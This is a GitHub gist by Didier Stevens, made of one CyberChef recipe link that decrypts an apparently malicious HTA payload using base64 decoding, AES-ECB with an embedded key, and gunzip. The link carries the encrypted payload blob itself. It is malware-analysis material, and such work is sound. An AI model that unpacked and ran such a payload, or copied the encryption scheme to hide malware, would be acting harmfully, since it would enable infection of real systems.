Skip to content

Instantly share code, notes, and snippets.

@DidierStevens
Created March 26, 2023 12:36
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save DidierStevens/f7e81b9e4ee6c00a03e43f2911e79742 to your computer and use it in GitHub Desktop.
Save DidierStevens/f7e81b9e4ee6c00a03e43f2911e79742 to your computer and use it in GitHub Desktop.
CyberChef HTA payload decryption 1
https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)Drop_bytes(0,16,false)AES_Decrypt(%7B'option':'Base64','string':'elhYZGxCdk93cENHWVNnQ3lwUFBkUWRVZWx1bUxWeG8%3D'%7D,%7B'option':'Base64','string':'AAAAAAAAAAAAAAAA'%7D,'ECB','Raw','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)Gunzip()&input=QUFBQUFBQUFBQUFBQUFBQUFBQUFBSm5RejdPTWc1cmFMWWV3b3BUQ3BmOUdHWUNka0dwV3BTRUw5RWhyVjhGTGFDdEc0NjllR0xBZ21DNXBiV2gzQVQxVk1BcDB6WTlMajJQRGVFcitnd3QrQy90N1l3SUJKeDVxOGFsdnFBSFpZZVRLNFZPbm51bFNHeE1yM2x5SGVYSVRRdGE1MDQwamdqRTVhTVNqcG1KRlZTM042QjcxYTY1cTF2WnhIaVFvVk5ubEl3dXZqcis0OGdzUDByN3U3S3FIS3FhWlg0UzNmeWUvMWpnZlpwRmswWlNCT29hd0FlTFgzdnpXQkU2QUtzMXBHeC9wL0hvRzhFZFQydFRXVUZZUWRPNmk2eE5DdDRSQ1VUMXFYWVNPdVU5ZjB4dm5QeTRtdVlYZ2xnRDl0WmRyWDdJVVhVZWsvWVkzZXg4MmNHVXo2VVdmSDVIVFhSWjc5WEZKYXpDYmRCQllHOHpqRXpLbktacVhUQ0xLUDFza0I1bkc1bW44ZGJaRDNvTm5WeExRZjRselB3K2puSXpMYzZmVm4vTVdCYkVDa2NEL0pGcnRFOVpwU3Q1S3RjdVNmcUpzc2lzOFlVeFRzaEU0d05PNzZha2xyU1FTSloxSDZNUEgwakI4TVdWR1NRS0duSGV2TXJwTEcwY2RFemtLR0hZalhlZEJjbEFWNTZLck10elc1ajNBL2hzaU41cEJWMUtSb2JLMkFsZkM2bGFrOW1kZElKVStGaEd5K3ZhYXJlYmZ4YllvY2xoVlYzTXpJSUFOUUg1dVQ4SWFCNlY2dU1Qa2JvdHM4cjJ2cnFzTjdpamtUeGJrbHBpS3FHM2U3MmxMOUwrMitIRTRGQ3E5L0k3MDRkWnFNSkpNOUsxcGdhcG5HTHNsZkdzM2Rid3k0UXF6SDZHbEx6SzBOR3JmQ3BVL3Y3Z1V2MmJSL3YwSzRiZWM5bWtnUjlQenlycGNjdjUvSk9XVDk3K3dzZTdYaUxnRkJIUWdqSi9YaXl1c0xkcCtmVlJJMlNhR211U3gvZVIrSVVsMjduTERPNnFNRyt2SDN4Q0NaVXRFS0dnSDMxeERGUVMzSjZzelN3ZEFNdllLM3dwYm53cS90dXZJTUliQjhZd0FpRStzcWVwcXhUbWhXcjU5a3hkVW9wMHBLUVN5Tm1rQm05OHg
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment